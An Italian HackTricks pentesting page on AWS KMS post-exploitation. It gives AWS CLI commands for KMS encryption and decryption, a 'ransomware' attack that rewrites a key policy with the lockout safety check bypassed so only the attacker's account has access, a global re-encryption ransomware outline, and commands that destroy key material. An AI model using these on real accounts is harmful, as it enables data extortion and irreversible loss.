AWS - KMS Post Exploitation

Supporta HackTricks

KMS

Per ulteriori informazioni controlla:

AWS - KMS Enum

Crittografare/Decifrare informazioni

Nota che se vuoi decifrare alcuni dati all'interno di un file, il file deve contenere i dati binari, non i dati codificati in base64.

  • Utilizzando una chiave simmetrica

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utilizzando una chiave asimmetrica:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaccante con accesso privilegiato su KMS potrebbe modificare la politica KMS delle chiavi e concedere al proprio account accesso su di esse, rimuovendo l'accesso concesso all'account legittimo.

Quindi, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account.

Nota che le chiavi gestite da AWS non sono colpite da questo attacco, solo le chiavi gestite dal cliente.

Nota anche la necessità di utilizzare il parametro --bypass-policy-lockout-safety-check (l'assenza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Nota che se cambi quella policy e dai accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per ridare accesso all'account originale, non sarai in grado.

Ransomware KMS Generico

Ransomware KMS Globale

C'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi:

  • Creare una nuova chiave con un materiale di chiave importato dall'attaccante

  • Ri-criptare i dati più vecchi crittografati con la versione precedente con la nuova.

  • Eliminare la chiave KMS

  • Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decrittografare i dati crittografati

Distruggere chiavi

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Nota che AWS ora prevenire che le azioni precedenti vengano eseguite da un account diverso:

Supporta HackTricks

Last updated